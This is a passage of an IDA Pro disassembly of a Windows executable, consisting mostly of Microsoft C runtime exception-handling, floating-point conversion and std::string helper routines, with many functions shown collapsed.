		test	eax, eax
		jz	short loc_4232CF
		call	eax	; GetUserNameA
		jmp	short loc_4232CF
; ---------------------------------------------------------------------------


loc_4232C8:				; DATA XREF: .rdata:stru_439BF8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4232CC:				; DATA XREF: .rdata:stru_439BF8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_4232CF:				; CODE XREF: sub_42329B+27j
					; sub_42329B+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_4232AE
; ---------------------------------------------------------------------------


loc_4232D9:				; CODE XREF: sub_42329B+1Aj
		call	__SEH_epilog
		retn
sub_42329B	endp

; [00000032 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
; [00000E67 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+"	TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
; [0000028C BYTES: COLLAPSED FUNCTION ___libm_error_support. PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION _has_osfxsr_set. PRESS KEYPAD "+"	TO EXPAND]
; [000000CE BYTES: COLLAPSED FUNCTION ___sse2_available_init. PRESS KEYPAD "+" TO EXPAND]
; [000000D3 BYTES: COLLAPSED FUNCTION __floor_default. PRESS KEYPAD "+"	TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
; [0000004B BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
; [000000F1 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
; [000000DD BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
; [000000AA BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType	const *,_s_ThrowInfo const *). PRESS KEYPAD "+"	TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION FrameUnwindFilter(_EXCEPTION_POINTERS *).	PRESS KEYPAD "+" TO EXPAND]
; [000000A7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424D5E	proc near		; DATA XREF: .rdata:stru_439D38o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_424D5E	endp ; sp-analysis failed

; [00000010 BYTES: COLLAPSED FUNCTION sub_424D64. PRESS	KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION ___DestructExceptionObject. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424DA8	proc near		; DATA XREF: .rdata:stru_439D50o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_424DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_424DB1	proc near		; DATA XREF: .rdata:stru_439D50o
		mov	esp, [ebp-18h]
		jmp	sub_4254B5
sub_424DB1	endp

; [0000001F BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
; [0000013B BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000003 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424F16	proc near		; DATA XREF: .rdata:stru_439D60o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_424F16	endp ; sp-analysis failed

; [00000066 BYTES: COLLAPSED FUNCTION sub_424F1C. PRESS	KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,void	*,_s_HandlerType const *,_s_CatchableType const	*). PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4250F2	proc near		; DATA XREF: .rdata:stru_439D78o
		xor	eax, eax
		inc	eax
		retn
sub_4250F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4250F6	proc near		; DATA XREF: .rdata:stru_439D78o
		mov	esp, [ebp-18h]
		jmp	sub_4254B5
sub_4250F6	endp

; [00000067 BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode	*,uchar). PRESS	KEYPAD "+" TO EXPAND]
; [000000BC BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD	"+" TO EXPAND]
; [000001F2 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS	KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION sub_4254B5. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4254E2	proc near		; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo	const *,int,int,uint *,uint *)+23p
					; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42019Bp ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_439D98
		call	__SEH_prolog
		mov	eax, off_443A70
		test	eax, eax
		jz	short loc_42550A
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_4254B5
		jmp	short loc_425506
; ---------------------------------------------------------------------------


loc_4254FF:				; DATA XREF: .rdata:stru_439D98o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_425503:				; DATA XREF: .rdata:stru_439D98o
		mov	esp, [ebp+ms_exc.old_esp]


loc_425506:				; CODE XREF: sub_4254E2+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_42550A:				; CODE XREF: sub_4254E2+13j
		jmp	sub_4254B5
sub_4254E2	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS	*). PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4255AA	proc near		; DATA XREF: .data:0043C028o
		push	offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		call	ds:dword_42B180	; SetUnhandledExceptionFilter
		mov	dword_4E2998, eax
		xor	eax, eax
		retn
sub_4255AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4255BD	proc near		; DATA XREF: .data:0043C040o
		push	dword_4E2998
		call	ds:dword_42B180	; SetUnhandledExceptionFilter
		retn
sub_4255BD	endp

; [000000D3 BYTES: COLLAPSED FUNCTION __floor_default_0. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
; [00000159 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [000001F0 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000002D0 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+"	TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_427274	proc near		; CODE XREF: ___libm_error_support+11Ap
					; ___libm_error_support+1D5p ...
		xor	eax, eax
		retn
sub_427274	endp

; [000002A5 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD	"+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO	EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD	"+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [000000A0 BYTES: COLLAPSED FUNCTION __umatherr. PRESS	KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [000000B8 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION __sptype.	PRESS KEYPAD "+" TO EXPAND]
; [000000BC BYTES: COLLAPSED FUNCTION __decomp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION __statfp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+"	TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __ctrlfp.	PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO	EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
; [0000004D BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_427E18	proc near		; CODE XREF: sub_427E44+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_443CD8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_427E18	endp


; =============== S U B	R O U T	I N E =======================================



sub_427E2E	proc near		; CODE XREF: sub_427E81+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_443CF0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_427E2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E44	proc near		; CODE XREF: __fassign+12p

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4437D4
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_427E18
		mov	ecx, [ebp+var_4]
		add	esp, 24h
		call	sub_422B83
		leave
		retn
sub_427E44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E81	proc near		; CODE XREF: __fassign+2Dp

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4437D4
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_427E2E
		mov	ecx, [ebp+var_4]
		add	esp, 24h
		call	sub_422B83
		leave
		retn
sub_427E81	endp

; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [000000BA BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
; [00000074 BYTES: COLLAPSED FUNCTION __fltout.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2
		call	__amsg_exit
		pop	ecx
		retn
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4281D4	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,void *,_s_HandlerType	const *,_s_CatchableType const *)+53p
					; BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_42B140	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4281EC
		xor	esi, esi


loc_4281EC:				; CODE XREF: sub_4281D4+14j
		mov	eax, esi
		pop	esi
		retn
sub_4281D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4281F0	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,void *,_s_HandlerType	const *,_s_CatchableType const *)+65p
					; BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_42B1BC	; IsBadWritePtr
		test	eax, eax
		jz	short loc_428208
		xor	esi, esi


loc_428208:				; CODE XREF: sub_4281F0+14j
		mov	eax, esi
		pop	esi
		retn
sub_4281F0	endp

; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000018 BYTES: COLLAPSED CHUNK OF FUNCTION sub_4254B5. PRESS KEYPAD	"+" TO EXPAND]
; [0000009F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS	KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO	EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+"	TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [0000015C BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
; [00000457 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_428FB8	dd offset loc_428BCD	; DATA XREF: ___strgtold12+65r
		dd offset loc_428C1D	; jump table for switch	statement
		dd offset loc_428C68
		dd offset loc_428C92
		dd offset loc_428CEB
		dd offset loc_428D60
		dd offset loc_428D90
		dd offset loc_428DDA
		dd offset loc_428DB9
		dd offset loc_428E3C
		dd offset loc_428E2E
		dd offset loc_428DFA
; [0000028E BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _siglookup. PRESS	KEYPAD "+" TO EXPAND]
; [00000129 BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000232 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
; [00000086 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429712	proc near		; CODE XREF: sub_4297E3+25p
					; sub_42987E+25p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_42A0AC
		call	__EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp+var_10], esi
		call	sub_4299C6
		push	[ebp+arg_0]
		and	[ebp+var_4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_43A4BC
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&)
		mov	ecx, [ebp+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_429712	endp

; [0000000E BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42975C	proc near		; CODE XREF: sub_429779+3p
					; sub_4297B1+6j ...
		push	esi
		mov	esi, ecx
		push	0		; Size
		push	1		; char
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_43A4BC
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		mov	ecx, esi
		pop	esi
		jmp	sub_429A21
sub_42975C	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_429779(void *Memory,char)

sub_429779	proc near		; DATA XREF: .rdata:off_43A4BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_42975C
		test	[esp+4+arg_0], 1
		jz	short loc_42978F
		push	esi		; Memory
		call	j__free
		pop	ecx


loc_42978F:				; CODE XREF: sub_429779+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429779	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_429795(void *Memory,char)

sub_429795	proc near		; DATA XREF: .rdata:off_43A4C8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4297B1
		test	[esp+4+arg_0], 1
		jz	short loc_4297AB
		push	esi		; Memory
		call	j__free
		pop	ecx


loc_4297AB:				; CODE XREF: sub_429795+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429795	endp


; =============== S U B	R O U T	I N E =======================================



sub_4297B1	proc near		; CODE XREF: sub_429795+3p
					; DATA XREF: .rdata:0043A950o
		mov	dword ptr [ecx], offset	off_43A4C8
		jmp	sub_42975C
sub_4297B1	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_4297BC(void *Memory,char)

sub_4297BC	proc near		; DATA XREF: .rdata:off_43A4D4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4297D8
		test	[esp+4+arg_0], 1
		jz	short loc_4297D2
		push	esi		; Memory
		call	j__free
		pop	ecx


loc_4297D2:				; CODE XREF: sub_4297BC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4297BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4297D8	proc near		; CODE XREF: sub_4297BC+3p
					; DATA XREF: .rdata:0043A8CCo
		mov	dword ptr [ecx], offset	off_43A4D4
		jmp	sub_42975C
sub_4297D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4297E3	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Fp
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&,uint,uint)+13p ...

var_50		= dword	ptr -50h
var_28		= byte ptr -28h
var_4		= dword	ptr -4

		mov	eax, offset loc_42A0BE
		call	__EH_prolog
		sub	esp, 44h
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_28]
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_28]
		push	eax
		lea	ecx, [ebp+var_50]
		call	sub_429712
		push	offset dword_43A8C8
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_50], offset off_43A4D4
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_4297E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429823	proc near		; CODE XREF: .text:0042986Dp
					; sub_42987E+47p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_42A0AC
		call	__EH_prolog
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		push	edi
		mov	[ebp+var_10], esi
		call	??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
		and	[ebp+var_4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_43A4BC
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&)
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_429823	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_429823
		mov	dword ptr [esi], offset	off_43A4D4
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42987E	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)+Dp
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&,uint,uint)+32p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_28		= byte ptr -28h
var_4		= dword	ptr -4

		mov	eax, offset loc_42A0BE
		call	__EH_prolog
		sub	esp, 44h
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_28]
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_28]
		push	eax
		lea	ecx, [ebp+var_50]
		call	sub_429712
		push	offset dword_43A94C
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_50], offset off_43A4C8
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
		push	esi
		push	[esp+54h+var_4C]
		mov	esi, ecx
		call	sub_429823
		mov	dword ptr [esi], offset	off_43A4C8
